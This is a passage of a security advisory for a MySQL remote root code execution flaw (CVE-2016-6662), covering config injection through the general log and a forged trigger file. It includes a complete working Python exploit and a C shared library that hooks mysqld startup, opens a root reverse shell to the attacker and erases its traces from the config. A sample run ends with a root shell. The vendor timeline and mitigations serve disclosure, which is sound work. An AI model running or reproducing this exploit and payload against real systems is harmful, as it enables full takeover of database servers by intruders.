--malloc-lib=LIB
This parameter can also be specified within a mysql config file (my.cnf)
in a '[mysqld]' or '[mysqld_safe]' section.
If an attacker managed to inject a path to their malicious library within the
config, they would be able to preload an arbitrary library and thus execute
arbitrary code with root privileges when MySQL service is restarted.
The restart could be triggered manually, via a system update, package update
(including an update of dependencies), system reboot etc.).
Attackers might also be able to speed up the server restart remotely by issuing
a SHUTDOWN SQL statement or 'shutdown' command via mysqladmin.
In 2003 a vulnerability was disclosed in MySQL versions before 3.23.55 that
allowed users to create mysql config files with a simple statement:
SELECT * INTO OUTFILE '/var/lib/mysql/my.cnf'
The issue was fixed by refusing to load config files with world-writable
permissions as these are the default permissions applied to files created
by OUTFILE query.
As an additional protection, OUTFILE/DUMPFILE statements are prohibited from
overwrite existing files.
This protects existing configuration files.
The old vulnerability has been considered fixed ever since the MySQL 3.23.55
was released in 2003, and writing to configuration files has been considered
impossible.
However, the V. PROOF OF CONCEPT section below will show that it is possible to
successfully bypass current restrictions by abusing MySQL logging functions
(available in every MySQL install by default) to achieve the following:
1) Inject malicious configuration into existing MySQL configuration files on
systems with weak/improper permissions (configs owned by/writable by mysql user)
(SCENARIO 1).
2) Create new configuration files within a MySQL data directory (writable
by MySQL by default) on _default_ MySQL installs without the need to rely on
improper config permissions (SCENARIO 2).
3) Attackers with only SELECT/FILE permissions can gain access to logging
functions (normally only available to MySQL admin users) on all of the
_default_ MySQL installations and thus be in position to add/modify MySQL
config files.
Update (16/09/2016):
The proof of concept details below should be read closely as there have been
some misconceptions noticed on some security forums which incorrectly try
to lessen the severity of this vulnerability due to a lack of correct
understanding of the issues presented in this advisory.
It should be noted that:
* SCENARIO 2 (point 2 above) is _independent_ of SCENARIO 1 (point 1 above).
I.e the config injection vulnerability which ultimately leads to loading
arbitrary malicious shared libraries CAN be exploited EVEN if there are NO
my.cnf config files with insecure permissions available on the system.
In other words, weak permissions are NOT a requirement for exploitation, and
the vulnerability CAN be exploit on affected DEFAULT PerconaDB/MariaDB/MySQL
installations with CORRECT permissions set on ALL my.cnf files available on
the system by default.
The SCENARIO 1 has only been presented as it makes the exploit code much
simpler and allows to explain the logging abuse/config injection vulnerability
without exposing default installations (SCENARIO 2) to an immediate risk.
* The researcher has created a private working PoC that has not been shared
publicly which CAN successfully exploit SCENARIO 2 (default setup/no incorrect
permissions on any of the default my.cnf config files). As noted both in the
section below as well as in the current PoC exploit's comments, the current
PoC is limited. It has been purposefully limited to protect immediate
exploitation of default installations (no incorrect perms on my.cnf) and give
users time to react to the vulnerability.
* A successful exploitation of SCENARIO 2 (no my.cnf available with weak perms)
leading to root privilege escalation/code execution can _ALSO_ (however is NOT a
requirement) be achieved by means of a (separate) vulnerability: CVE-2016-6663.
PoC has been created by the author of this advisory but not released publicly.
* The logging facility CAN be accessed by standard users with SELECT/FILE
privileges only. I.e SUPER privilege is NOT required to create malicious triggers
which contain the malicious payload that grants the attacker access to the
logging facility DESPITE the LACK of administrative privileges.
This has been explained in the section below (see point 3 in the section below)
and proven in the current PoC in this advisory and can also be observed in the
replication steps (see VI. section) that show the attacker database account
permissions (the attacker DB account is NOT assigned SUPER permissions).
* The exploitation requires a restart that could happen via a number of ways.
Attackers might also be able to speed up the server restart remotely by issuing
a SHUTDOWN SQL statement or 'shutdown' command via mysqladmin.
V. PROOF OF CONCEPT
-------------------------
1) Inject malicious configuration into existing MySQL configuration files on
systems with weak/improper permissions (configs owned by/writable by mysql user).
(SCENARIO 1)
~~~~~~~~~~~~~~~~~~~~~~~~~
MySQL configuration files are loaded from all supported locations and processed
one by one when mysqld_safe script is executed.
Exact config locations depend on MySQL version.
For example, as described on:
http://dev.mysql.com/doc/refman/5.5/...ion-files.html
for MySQL 5.5 the config locations include:
/etc/my.cnf Global options
/etc/mysql/my.cnf Global options
SYSCONFDIR/my.cnf Global options
$MYSQL_HOME/my.cnf Server-specific options
defaults-extra-file The file specified with --defaults-extra-file=file_name, if any
~/.my.cnf User-specific options
There is a common misconception that mysql config files should be owned by mysql
user for the server to work properly.
Many installation guides, or even security guides often wrongly advise users
to set the ownership of mysql config files/directories such as /etc/mysql
or /etc/my.cnf to mysql user.
For example:
https://github.com/willfong/mariadb-...ster/README.md
says:
"Lock down permissions on config file(s)
chown mysql /etc/my.cnf
chmod 600 /etc/my.cnf"
Whereas the article at:
http://www.devshed.com/c/a/mysql/sec...es-with-mysql/
mentions:
"You should also protect the global option file, /etc/my.cnf, if it exists.
The mysql user should own it and have read/write access to it, but other users
need only read access:
shell> chown mysql /etc/my.cnf"
Moreover, there are also MySQL recipes for installation automation software
such as Chef that also provide users with vulnerable permissions on my.cnf
config files.
If any of the MySQL config files is owned by mysql user, an attacker could
append malicious config entries to it as follows:
[email protected]:~/# ls -l /etc/my.cnf
-rw-r--r-- 1 mysql mysql 72 Jul 28 17:20 /etc/my.cnf
[email protected]:~/# cat /etc/my.cnf
[mysqld]
key_buffer = 16M
max_allowed_packet = 16M
Attacker could run the following SQL queries:
mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/mysql_exploit_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
The resulting config would then have the following part appended:
[email protected]:~/# cat /etc/my.cnf
[mysqld]
key_buffer = 16M
max_allowed_packet = 16M
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:25:14 40 Query select '
; injected config entry
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
[separator]
'
160728 17:25:15 40 Query set global general_log = off
This config contains some redundant information that would normally cause MySQL
to fail to startup during a restart due to parsing issues.
However, the important part is that the config now contains the section:
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
mysqld_safe will read the shared library path correctly and add it to
the LD_PRELOAD environment variable before the startup of mysqld daemon.
The preloaded library can then hook the libc fopen() calls and clean up
the config before it is ever processed by mysqld daemon in order for it
to start up successfully so that the compromise goes unnoticed by the
system administrators etc.
~~~~~~~~~~~~~~~~~~~~~~~~~
2) Create new configuration files within a MySQL data directory (writable
by MySQL by default) on _default_ MySQL installs without the need to rely on
improper config permissions.
(SCENARIO 2)
Analysis of the mysqld_safe script has shown that in addition to the
config locations provided above, mysqld_safe also loads the configuration file
from the mysql data directory (/var/lib/mysql/my.cnf) by default as can be
seen below:
----[ /usr/bin/mysqld_safe ]----
[...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
DATADIR=$MY_BASEDIR_VERSION/data
if test -z "$defaults" -a -r "$DATADIR/my.cnf"
then
defaults="--defaults-extra-file=$DATADIR/my.cnf"
fi
[...]
----------[ eof ]---------------
on MySQL versions in branches 5.5 and 5.6.
The datadir location for my.cnf has only been removed from MySQL starting
from 5.7 branch however in many configurations it will still load config
from:
/var/lib/mysql/.my.cnf
The data directory /var/lib/mysql is (obviously) writable by mysql user on
every install:
[email protected]:~# ls -ld /var/lib/mysql/
drwx------ 4 mysql mysql 4096 Jul 28 06:41 /var/lib/mysql/
Therefore, if no mysql-owned configs are available on the system, an attacker
could still be able to exploit the vulnerability by creating a config at the
following locations:
/var/lib/mysql/my.cnf
/var/lib/mysql/.my.cnf
As mentioned, using FILE permission to create such a file with the SQL statement:
SELECT 'malicious config entry' INTO OUTFILE '/var/lib/mysql/my.cnf'
would not work, as MySQL creates files with rw permissions for the world:
-rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf
and MySQL would prevent such world-writable config from being loaded at startup.
Attackers could bypass this however by using these logging SQL statements:
mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
The queries will create the my.cnf file with the necessary permissions
(without o-w bit) for it to be parsed by the MySQL daemon:
# ls -l /var/lib/mysql/my.cnf
-rw-rw---- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf
The file will have the following contents:
# cat /var/lib/mysql/my.cnf
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:48:22 43 Query select '
; injected config entry
[mysqld]
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
[separator]
'
160728 17:48:23 43 Query set global general_log = off
One problem will remain however. MySQL will refuse files that do not start with
a valid [section] header with the message:
error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1
Fatal error in defaults handling. Program aborted
Further testing has however proven that IT IS possible to bypass this security
restriction as well but this will not be included in this advisory/PoC for the
time being.
It is worth to note that attackers could use one of the other vulnerabilities
discovered by the author of this advisory which has been assigned a CVEID of
CVE-2016-6663 and is pending disclosure.
The undisclosed vulnerability makes it easy for certain attackers to create
/var/lib/mysql/my.cnf file with arbitrary contents without the FILE privilege
requirement.
~~~~~~~~~~~~~~~~~~~~~~~~~
3) Attackers with only SELECT/FILE permissions can gain access to logging functions
(normally only available to MySQL admin users) on all of the _default_ MySQL
installations and thus be in position to add/modify MySQL config files.
If attackers do not have administrative rights required to access logging settings
and only have standard user privileges with the addition of FILE privilege then
they could still gain the ability to write to / modify configuration files.
This could be achieved by writing a malicious trigger payload - a trigger
definition that is an _equivalent_ to the following statement:
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `active_table` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
" INTO void;
set global general_log = off;
END;
into a trigger definition/configuration file (.TRG) of an actively used table
('active_table') with the use of a statement similar to:
SELECT '...trigger_definition...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG'
Note that _only_ the above SELECT statement is required to write out the trigger
definition by abusing the power of FILE privilege.
The CREATE TRIGGER statement is _never_ executed and is not necessary. This
means that SUPER privilege is not necessary either. See the exploit code for
details.
Such trigger will be loaded when tables get flushed. From this point on
whenever an INSERT statement is invoked on the table, e.g:
INSERT INTO `active_table` VALUES('xyz');
The trigger's code will be executed with mysql root/admin privileges (notice
'DEFINER' above) and will thus let attacker to modify the general_log settings
despite the lack of administrative/SUPER privileges through their user account
(with SELECT/FILE privileges only).
------------------
VI. PROOF OF CONCEPT - 0day 0ldSQL_MySQL_RCE_exploit.py exploit
----------[ 0ldSQL_MySQL_RCE_exploit.py ]--------------
Code:
#!/usr/bin/python # This is a limited version of the PoC exploit. It only allows appending to # existing mysql config files with weak permissions. See V) 1) section of # the advisory for details on this vector. # # Full PoC will be released at a later date, and will show how attackers could # exploit the vulnerability on default installations of MySQL on systems with no # writable my.cnf config files available. # # The upcoming advisory CVE-2016-6663 will also make the exploitation trivial # for certain low-privileged attackers that do not have FILE privilege. # # See full advisory for details: # http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt # # Stay tuned ;) intro = """ 0ldSQL_MySQL_RCE_exploit.py (ver. 1.0) (CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit For testing purposes only. Do no harm. Discovered/Coded by: Dawid Golunski http://legalhackers.com """ import argparse import mysql.connector import binascii import subprocess def info(str): print "[+] " + str + "\n" def errmsg(str): print "[!] " + str + "\n" def shutdown(code): if (code==0): info("Exiting (code: %d)\n" % code) else: errmsg("Exiting (code: %d)\n" % code) exit(code) cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so" process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) (result, error) = process.communicate() rc = process.wait() # where will the library to be preloaded reside? /tmp might get emptied on reboot # /var/lib/mysql is safer option (and mysql can definitely write in there ;) malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so' # Main Meat print intro # Parse input args parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662') parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username') parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password') parser.add_argument('-dbname', dest='TARGET_DB', required=True, help='Remote MySQL database name') parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host') parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user') args = parser.parse_args() # Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions # CREATE requirement could be bypassed (malicious trigger could be attached to existing tables) info("Connecting to target server %s and target mysql account '%[email protected]%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB)) try: dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST) except mysql.connector.Error as err: errmsg("Failed to connect to the target: {}".format(err)) shutdown(1) try: cursor = dbconn.cursor() cursor.execute("SHOW GRANTS") except mysql.connector.Error as err: errmsg("Something went wrong: {}".format(err)) shutdown(2) privs = cursor.fetchall() info("The account in use has the following grants/perms: " ) for priv in privs: print priv[0] print "" # Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld # process execution and run our code (Remote Root Shell) # Remember to match the architecture of the target (not your machine!) otherwise the library # will not load properly on the target. info("Compiling mysql_hookandroot_lib.so") cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl" process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) (result, error) = process.communicate() rc = process.wait() if rc != 0: errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd) print error shutdown(2) # Load mysql_hookandroot_lib.so library and encode it into HEX info("Converting mysql_hookandroot_lib.so into HEX") hookandrootlib_path = './mysql_hookandroot_lib.so' with open(hookandrootlib_path, 'rb') as f: content = f.read() hookandrootlib_hex = binascii.hexlify(content) # Trigger payload that will elevate user privileges and successfully execute SET GLOBAL GENERAL_LOG # in spite of the lack of SUPER/admin privileges (attacker only needs SELECT/FILE privileges) # Decoded payload (paths may differ) will look similar to: """ DELIMITER // CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf AFTER INSERT ON `poctable` FOR EACH ROW BEGIN DECLARE void varchar(550); set global general_log_file='/var/lib/mysql/my.cnf'; set global general_log = on; select " # 0ldSQL_MySQL_RCE_exploit got here :) [mysqld] malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so' [abyss] " INTO void; set global general_log = off; END; // DELIMITER ; """ trigger_payload="""TYPE=TRIGGERS triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n DECLARE void varchar(550);\\n set global general_log_file=\\'%s\\';\\n set global general_log = on;\\n select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void; \\n set global general_log = off;\\n\\nEND' sql_modes=0 definers='[email protected]' client_cs_names='utf8' connection_cl_names='utf8_general_ci' db_cl_names='latin1_swedish_ci' """ % (args.TARGET_MYCNF, malloc_lib_path) # Convert trigger into HEX to pass it to unhex() SQL function trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload) # Save trigger into a trigger file TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB info("Saving trigger payload into %s" % (TRG_path)) try: cursor = dbconn.cursor() cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) ) except mysql.connector.Error as err: errmsg("Something went wrong: {}".format(err)) shutdown(4) # Save library into a trigger file info("Dumping shared library into %s file on the target" % malloc_lib_path) try: cursor = dbconn.cursor() cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) ) except mysql.connector.Error as err: errmsg("Something went wrong: {}".format(err)) shutdown(5) # Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded") try: cursor = dbconn.cursor() cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" ) except mysql.connector.Error as err: errmsg("Something went wrong: {}".format(err)) shutdown(6) # Finally, execute the trigger's payload by inserting anything into `poctable`. # The payload will write to the mysql config file at this point. info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF ) try: cursor = dbconn.cursor() cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" ) except mysql.connector.Error as err: errmsg("Something went wrong: {}".format(err)) shutdown(6) # Check on the config that was just created info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF ) try: cursor = dbconn.cursor() cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF) except mysql.connector.Error as err: errmsg("Something went wrong: {}".format(err)) shutdown(2) finally: dbconn.close() # Close DB connection print "" myconfig = cursor.fetchall() print myconfig[0][0] info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)") # Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;) info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" ) listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"]) listener.communicate() print "" # Show config again after all the action is done info("Shell closed. Hope you had fun. ") # Mission complete, but just for now... Stay tuned :) info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""") # Shutdown shutdown(0)
---------------------------------------------------
----------[ mysql_hookandroot_lib.c ]--------------
/*
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
mysql_hookandroot_lib.c
This is the shared library injected by 0ldSQL_MySQL_RCE_exploit.py exploit.
The library is meant to be loaded by mysqld_safe on mysqld daemon startup
to create a reverse shell that connects back to the attacker's host on
6603 port (mysql port in reverse and provides a root shell on the
target.
mysqld_safe will load this library through the following setting:
[mysqld]
malloc_lib=mysql_hookandroot_lib.so
in one of the my.cnf config files (e.g. /etc/my.cnf).
This shared library will hook the execvp() function which is called
during the startup of mysqld process.
It will then fork a reverse shell and clean up the poisoned my.cnf
file in order to let mysqld run as normal so that:
'service mysql restart' will work without a problem.
Before compiling adjust IP / PORT and config path.
~~
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
~~
Compilation (remember to choose settings compatible with the remote OS/arch):
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
Disclaimer:
For testing purposes only. Do no harm.
Full advisory URL:
http://legalhackers.com/advisories/M...-2016-6662.txt
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define ATTACKERS_IP "127.0.0.1"
#define SHELL_PORT 6033
#define INJECTED_CONF "/var/lib/mysql/my.cnf"
char* env_list[] = { "HOME=/root", NULL };
typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);
static execvp_func_t old_execvp = NULL;
// fork & send a bash shell to the attacker before starting mysqld
void reverse_shell(void) {
int i; int sockfd;
//socklen_t socklen;
struct sockaddr_in srv_addr;
srv_addr.sin_family = AF_INET;
srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port
srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip
// create new TCP socket && connect
sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
for(i = 0; i <= 2; i++) dup2(sockfd, i);
execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );
exit(0);
}
/*
cleanup injected data from the target config before it is read by mysqld
in order to ensure clean startup of the service
The injection (if done via logging) will start with a line like this:
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
*/
int config_cleanup() {
FILE *conf;
char buffer[2000];
long cut_offset=0;
conf = fopen(INJECTED_CONF, "r+");
if (!conf) return 1;
while (!feof(conf)) {
fgets(buffer, sizeof(buffer), conf);
if (strstr(buffer,"/usr/sbin/mysqld, Version")) {
cut_offset = (ftell(conf) - strlen(buffer));
}
}
if (cut_offset>0) ftruncate(fileno(conf), cut_offset);
fclose(conf);
return 0;
}
// execvp() hook
int execvp(const char* filename, char* const argv[]) {
pid_t pid;
int fd;
// Simple root PoC (touch /root/root_via_mysql)
fd = open("/root/root_via_mysql", O_CREAT);
close(fd);
old_execvp = dlsym(RTLD_NEXT, "execvp");
// Fork a reverse shell and execute the original execvp() function
pid = fork();
if (pid == 0)
reverse_shell();
// clean injected payload before mysqld is started
config_cleanup();
return old_execvp(filename, argv);
}
------------------------------------------------
Replication / testing:
~~~~~~~~~~~~~~~~~~
As admin on the target system:
~~~~~~~~
1. Set up a test database account/permissions:
CREATE DATABASE pocdb;
GRANT FILE ON TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';
2. Simulate write access on any of available mysql configs.
It just needs to be a valid/parsable config with section e.g:
[isamchk]
key_buffer = 16M
For example, /etc/mysql/my.cnf on Debian:
# chown mysql:mysql /etc/mysql/my.cnf
# ls -l /etc/mysql/my.cnf
-rw-r--r-- 1 mysql mysql 3534 Sep 11 02:15 /etc/mysql/my.cnf
3. Run the exploit as the attacker and restart mysql when exploit
is done.
Note that attackers could be able to force this step remotely by
issuing a remote SHUTDOWN command/SQL statement.
As attacker:
~~~~~~~~
1. Enter your library path in mysql_hookandroot_lib.c src.
2. Run the 0ldSQL_MySQL_RCE_exploit.py script.
Example run:
~~~~~~~~
attacker$ ./0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.1.10 -dbname pocdb -mycnf /etc/mysql/my.cnf
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
[+] Connecting to target server 192.168.1.10 and target mysql account '[email protected]' using DB 'pocdb'
[+] The account in use has the following grants/perms:
GRANT FILE ON TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'
[+] Compiling mysql_hookandroot_lib.so
[+] Converting mysql_hookandroot_lib.so into HEX
[+] Saving trigger payload into /var/lib/mysql/pocdb/poctable.TRG
[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target
[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded
[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /etc/mysql/my.cnf
[+] Showing the contents of /etc/mysql/my.cnf config to verify that our setting (malloc_lib) got injected
[mysql]
#no-auto-rehash # faster start of mysql but no tab completition
[isamchk]
key_buffer = 16M
!includedir /etc/mysql/conf.d/
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160912 8:48:41 44 Query select "
# 0ldSQL_MySQL_RCE_exploit got here
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
[abyss]
" INTO void
44 Query SET global general_log = off
[+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it
[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell...
listening on [any] 6033 ...
connect to [192.168.1.20] from dbserver [192.168.1.10] 36932
bash: cannot set terminal process group (963): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/# id
id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/# ls -l /root/root_via_mysql
---------- 1 root root 0 Sep 10 22:50 /root/root_via_mysql
[email protected]:/# exit
exit
exit
[+] Shell closed. Hope you had fun.
[+] Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required)
[+] Exiting (code: 0)
VII. BUSINESS IMPACT
-------------------------
As discussed above the vulnerability could be exploited by attackers with both
privileged and unprivileged (with FILE privilege only) access to mysql accounts.
It could also be combined with CVE-2016-6663 vulnerability which will be released
shortly and could allow certain attackers to escalate their privileges to root
even without FILE privilege.
The vulnerability could also be exploited via an SQL injection vector, which
removes the need for the attackers to have direct mysql connection and increases
the risk of exploitation.
Successful exploitation could gain a attacker a remote shell with root privileges
which would allow them to fully compromise the remote system.
If exploited, the malicious code would run as soon as MySQL daemon gets
restarted.
As mentioned, the restart could be triggered manually, via a system update,
package update (including an update of dependencies), system reboot etc.).
Attackers might also be able to speed up the server restart remotely by issuing
a SHUTDOWN SQL statement or 'shutdown' command via mysqladmin.
VIII. SYSTEMS AFFECTED
-------------------------
All MySQL versions from the oldest versions to the latest shown at the beginnig
of this advisory.
Some systems run MySQL via Systemd and provide direct startup path to mysqld
daemon instead of using mysqld_safe wrapper script. These systems however are
also at risk as mysqld_safe may be called on update by the installation scripts
or some other system services. It could also be triggered manually by
administrators running mysqld_safe as a habit.
Because the exploit only accesses files normally used by MySQL server (
such as the config), and the injected library is preloaded by mysqld_safe startup
scripta not included within the default policies, the vulnerability can be
exploited even if security modules as SELinux and AppArmor are installed with
active security policies for the MySQL daemon.
IX. VENDOR RESPONSE / SOLUTION
-------------------------
The vulnerability was reported to Oracle on 29th of July 2016 and triaged
by the security team.
It was also reported to the other affected vendors including PerconaDB and MariaDB.
The vulnerabilities were patched by PerconaDB and MariaDB vendors in all branches
by 30th of August.
During the course of the patching process by these vendors the patches went into
public repositories and the fixed security issues were also mentioned in the
new releases which could be noticed by malicious attackers.
As over 40 days have passed since reporting the issues and patches were already
mentioned publicly (by Percona and MariaDB) , a decision was made to start
disclosing vulnerabilities (with limited PoC) to inform users about the risks
before the vendor's next CPU update (scheduled for 18th of October).
No official patches or mitigations are available at this time from the vendor.
As temporary mitigations, users should ensure that no mysql config files are
owned by mysql user, and create root-owned dummy my.cnf files that are not in
use.
These are by no means a complete solution and users should apply official vendor
patches as soon as they become available.
Update (16/09/2016):
It has been found that the vendor silently (i.e. without notifing the researcher
via a direct communication despite the ongoing private communication via email,
nor via releasing an immediate public Security Alert to publicly announce the
critical fixes) released security patches for the CVE-2016-6662 vulnerability in
the following releases:
https://dev.mysql.com/doc/relnotes/m...ws-5-7-15.html
https://dev.mysql.com/doc/relnotes/m...ws-5-6-33.html
https://dev.mysql.com/doc/relnotes/m...ws-5-5-52.html
which changes the vulnerable/exploitable version list to the following:
MySQL <= 5.7.14
5.6.32
5.5.51
X. REFERENCES
-------------------------
http://legalhackers.com
http://legalhackers.com/advisories/M...2016-6662.html
Source codes from the advisory:
http://legalhackers.com/exploits/0ld...RCE_exploit.py
http://legalhackers.com/exploits/mys...kandroot_lib.c
MySQL releases containing security fixes:
https://dev.mysql.com/doc/relnotes/m...ws-5-5-52.html
https://dev.mysql.com/doc/relnotes/m...ws-5-6-33.html
https://dev.mysql.com/doc/relnotes/m...ws-5-7-15.html
which can be downloaded from:
http://dev.mysql.com/downloads/mysql/
https://mariadb.org/mariadb-server-v...cve-2016-6662/
https://security-tracker.debian.org/.../CVE-2016-6662
https://cve.mitre.org/cgi-bin/cvenam...=CVE-2016-6662
The old vulnerability fixed in MySQL version 3.23.55:
https://cve.mitre.org/cgi-bin/cvenam...=CVE-2003-0150
XI. CREDITS
-------------------------
The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
http://legalhackers.com
XII. REVISION HISTORY
-------------------------
12.09.2016 - Advisory released publicly as 0day
16.09.2016 - Updated the IV section with important notes to clarify
misconceptions observed on some security forums.
16.09.2016 - Updated the IX section to add information about fixed releases
along with I and II sections to reflect these.
22.09.2016 - Updated V. 3) section and fixed some typos.
23.09.2016 - Added notes about potential use of SHUTDOWN command/SQL statement
that remote attackers could use in order to speed up the restart.
XIII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.
https://vimeo.com/182823986 https://vimeo.com/182827257